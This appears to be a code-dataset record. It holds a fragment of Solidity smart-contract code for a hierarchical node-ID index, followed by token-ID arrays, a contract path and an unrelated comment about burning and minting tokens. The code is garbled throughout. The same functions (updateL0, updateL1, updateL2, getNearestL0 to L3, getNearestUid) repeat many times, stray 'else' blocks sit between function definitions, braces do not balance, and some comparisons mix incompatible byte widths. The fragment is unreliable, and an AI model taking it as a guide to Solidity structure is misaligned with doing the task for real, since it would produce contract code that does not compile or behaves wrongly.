(root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } function updateRoot(bytes4 id) internal { bytes1 key0 = bytes1(id); if (root.min == 0 || key0 < root.min) { root.min = key0; } if (root.max == 0 || id > root.max) { root.max = key0; } if (root.minUid == 0 || id < root.minUid) { root.minUid = id; } if (root.maxUid == 0 || id > root.maxUid) { root.maxUid = id; } if (isCreatedL0(key0)) { updateL0(id); root.childrenAmount++; createL0(id); } } } else { function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } function updateL0(bytes4 id) internal { (bytes1 key0, bytes1 child) = keyChildL0(id); if (layer0[key0].min == 0 || child < layer0[key0].min) { layer0[key0].min = child; } if (layer0[key0].max == 0 || child > layer0[key0].max) { layer0[key0].max = child; } if (layer0[key0].minUid == 0 || id < layer0[key0].minUid) { layer0[key0].minUid = id; } if (layer0[key0].maxUid == 0 || id > layer0[key0].maxUid) { layer0[key0].maxUid = id; } if (isCreatedL1(bytes2(id))) { updateL1(id); layer0[key0].childrenAmount++; createL1(id); } } } else { function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } function updateL1(bytes4 id) internal { (bytes2 key1, bytes1 child) = keyChildL1(id); if (layer1[key1].min == 0 || child < layer1[key1].min) { layer1[key1].min = child; } if (layer1[key1].max == 0 || child > layer1[key1].max) { layer1[key1].max = child; } if (layer1[key1].minUid == 0 || id < layer1[key1].minUid) { layer1[key1].minUid = id; } if (layer1[key1].maxUid == 0 || id > layer1[key1].maxUid) { layer1[key1].maxUid = id; } if (isCreatedL2(bytes3(id))) { updateL2(id); layer1[key1].childrenAmount++; createL2(id); } } } else { function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } function updateL2(bytes4 id) internal { (bytes3 key2, bytes1 child) = keyChildL2(id); if (layer2[key2].min == 0 || child < layer2[key2].min) { layer2[key2].min = child; } if (layer2[key2].max == 0 || child > layer2[key2].max) { layer2[key2].max = child; } if (layer2[key2].minUid == 0 || id < layer2[key2].minUid) { layer2[key2].minUid = id; } if (layer2[key2].maxUid == 0 || id > layer2[key2].maxUid) { layer2[key2].maxUid = id; } layer2[key2].childrenAmount++; } function getLastFour(bytes32 _arg) public pure returns (bytes4) { bytes32 lastFour = _arg << 224; bytes4 encoded = bytes4(lastFour); for (uint8 i = 0; i < 4; i++) { require(encoded[i] != 0x00, "invalid_4_bytes"); } return encoded; } function getLastFour(bytes32 _arg) public pure returns (bytes4) { bytes32 lastFour = _arg << 224; bytes4 encoded = bytes4(lastFour); for (uint8 i = 0; i < 4; i++) { require(encoded[i] != 0x00, "invalid_4_bytes"); } return encoded; } function registrationHash(address owner, bytes4 ip, uint nonce) public pure returns(bytes32) { bytes32 hash = keccak256(abi.encodePacked(owner, ip, nonce)); return hash; } function getNearestL0(bytes1 min, bytes1 key0) public view returns(bytes4) { for (uint8 i = uint8(key0) - 1; i > uint8(min); i--) { if (isCreatedL0(bytes1(i))) { return layer0[bytes1(i)].maxUid; } } return layer0[min].maxUid; } function getNearestL0(bytes1 min, bytes1 key0) public view returns(bytes4) { for (uint8 i = uint8(key0) - 1; i > uint8(min); i--) { if (isCreatedL0(bytes1(i))) { return layer0[bytes1(i)].maxUid; } } return layer0[min].maxUid; } function getNearestL0(bytes1 min, bytes1 key0) public view returns(bytes4) { for (uint8 i = uint8(key0) - 1; i > uint8(min); i--) { if (isCreatedL0(bytes1(i))) { return layer0[bytes1(i)].maxUid; } } return layer0[min].maxUid; } function getNearestL1(bytes2 min, bytes2 key1) public view returns(bytes4) { for (uint16 i = uint16(key1) - 1; i > uint16(min); i--) { if (isCreatedL1(bytes2(i))) { return layer1[bytes2(i)].maxUid; } } return layer1[min].maxUid; } function getNearestL1(bytes2 min, bytes2 key1) public view returns(bytes4) { for (uint16 i = uint16(key1) - 1; i > uint16(min); i--) { if (isCreatedL1(bytes2(i))) { return layer1[bytes2(i)].maxUid; } } return layer1[min].maxUid; } function getNearestL1(bytes2 min, bytes2 key1) public view returns(bytes4) { for (uint16 i = uint16(key1) - 1; i > uint16(min); i--) { if (isCreatedL1(bytes2(i))) { return layer1[bytes2(i)].maxUid; } } return layer1[min].maxUid; } function getNearestL2(bytes3 min, bytes3 key2) public view returns(bytes4) { for (uint24 i = uint24(key2) - 1; i > uint24(min); i--) { if (isCreatedL2(bytes3(i))) { return layer2[bytes3(i)].maxUid; } } return layer2[min].maxUid; } function getNearestL2(bytes3 min, bytes3 key2) public view returns(bytes4) { for (uint24 i = uint24(key2) - 1; i > uint24(min); i--) { if (isCreatedL2(bytes3(i))) { return layer2[bytes3(i)].maxUid; } } return layer2[min].maxUid; } function getNearestL2(bytes3 min, bytes3 key2) public view returns(bytes4) { for (uint24 i = uint24(key2) - 1; i > uint24(min); i--) { if (isCreatedL2(bytes3(i))) { return layer2[bytes3(i)].maxUid; } } return layer2[min].maxUid; } function getNearestL3(bytes4 min, bytes4 key3) public view returns(bytes4) { for (uint32 i = uint32(key3) - 1; i > uint32(min); i--) { if (nodes[bytes4(i)].activated) { return bytes4(i); } } return min; } function getNearestL3(bytes4 min, bytes4 key3) public view returns(bytes4) { for (uint32 i = uint32(key3) - 1; i > uint32(min); i--) { if (nodes[bytes4(i)].activated) { return bytes4(i); } } return min; } function getNearestL3(bytes4 min, bytes4 key3) public view returns(bytes4) { for (uint32 i = uint32(key3) - 1; i > uint32(min); i--) { if (nodes[bytes4(i)].activated) { return bytes4(i); } } return min; } function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); function getNearestUid(bytes4 uid) public view returns(bytes4) { if (nodes[uid].activated) { return uid; } if (uid < root.minUid || uid > root.maxUid) { return root.maxUid; } bytes1 key0 = bytes1(uid); if (!isCreatedL0(key0)) { return getNearestL0(root.min, key0); } if (uid < layer0[key0].minUid) { return getNearestL0(root.min, key0); } if (uid > layer0[key0].maxUid) { return layer0[key0].maxUid; } bytes2 key1 = bytes2(uid); if (!isCreatedL1(key1)) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid < layer1[key1].minUid) { return getNearestL1(keyL1(key0, layer0[key0].min), key1); } if (uid > layer1[key1].maxUid) { return layer1[key1].maxUid; } bytes3 key2 = bytes3(uid); if (!isCreatedL2(key2)) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid < layer2[key2].minUid) { return getNearestL2(keyL2(key1, layer1[key1].min), key2); } if (uid > layer2[key2].maxUid) { return layer2[key2].maxUid; } return getNearestL3(keyL3(key2, layer2[key2].min), uid); } function getKey1(bytes1 key0, bytes1 min0, bytes1 min1, bytes1 min2) public pure returns(bytes4) { bytes4 id = bytes4(key0); bytes4 min = bytes4(min0) >> 8; id = id | min; id = id | (bytes4(min1) >> 16); id = id | (bytes4(min2) >> 24); return id; } function getKey2(bytes2 key1, bytes1 min1, bytes1 min2) public pure returns(bytes4) { bytes4 key1Bytes = bytes4(key1); bytes4 min1Bytes = bytes4(min1) >> 16; key1Bytes = key1Bytes | min1Bytes; min1Bytes = bytes4(min2) >> 24; return key1Bytes | min1Bytes; } function getUid(bytes3 key2, bytes1 min) public pure returns(bytes4) { bytes4 key2Bytes = bytes4(key2); bytes4 minBytes = bytes4(min) >> 24; return key2Bytes | minBytes; } bytes32 hash = registrationHash(msg.sender, ip, nonce); require(isDifficult(hash, registrationDifficulty), "no_difficult"); bytes4 uid = getLastFour(hash); require(!nodes[uid].activated, "duplicated_uid"); require(!nodeOwners[msg.sender], "0"); if (!isCreatedL2(uid)) { createL2(uid); updateL2(uid); } nodes[uid] = NODE(hash, nonce, port, ip, msg.sender, ACTIVATE); } else { }*/
5,430,445
[ 1, 19, 2549, 326, 276, 4749, 7247, 384, 5708, 364, 4189, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 432, 354, 343, 93, 80, 22, 288, 203, 565, 1758, 276, 4749, 273, 374, 92, 27, 22062, 2090, 71, 23508, 25, 74, 8642, 3103, 41, 29882, 74, 28406, 39, 21, 71, 3461, 70, 23, 42, 26, 5292, 72, 26, 37, 4449, 69, 31, 203, 203, 565, 2254, 5381, 7914, 14667, 6647, 273, 4200, 380, 404, 73, 2643, 31, 203, 565, 2254, 28, 5381, 7914, 5938, 21934, 282, 273, 576, 31, 203, 565, 2254, 28, 5381, 21786, 67, 30334, 67, 2565, 42, 1653, 39, 2274, 61, 282, 273, 576, 31, 203, 565, 2254, 28, 5381, 6525, 9099, 67, 2565, 42, 1653, 39, 2274, 61, 540, 273, 1059, 31, 203, 203, 203, 4861, 12, 1611, 18, 3103, 18, 4630, 18, 3028, 13, 203, 565, 1958, 7247, 288, 203, 3639, 2254, 7448, 31, 203, 3639, 2254, 14036, 31, 203, 3639, 1426, 14892, 31, 203, 565, 289, 203, 203, 565, 1958, 11922, 288, 203, 3639, 1731, 1578, 1651, 31, 203, 3639, 2254, 7448, 31, 203, 3639, 2254, 2313, 1756, 31, 203, 3639, 1731, 24, 2359, 31, 203, 3639, 1758, 3410, 31, 203, 3639, 1426, 14892, 31, 203, 565, 289, 203, 203, 565, 1958, 25239, 654, 288, 203, 3639, 1426, 14892, 31, 8227, 203, 565, 289, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 756, 5460, 414, 31, 203, 203, 565, 2874, 12, 11890, 2313, 516, 7247, 13, 1071, 6727, 31, 203, 203, 203, 565, 2874, 12, 3890, 24, 516, 11922, 13, 1071, 2199, 31, 203, 565, 3885, 1435, 288, 203, 3639, 1365, 18, 18836, 273, 2 ]
./full_match/1/0xb44FcB65D5E149983EEC12f1f61aed138c1e45d0/sources/contracts/MinterBurner.sol
@notice Burn tokens is ready to burn and mint calculated reward
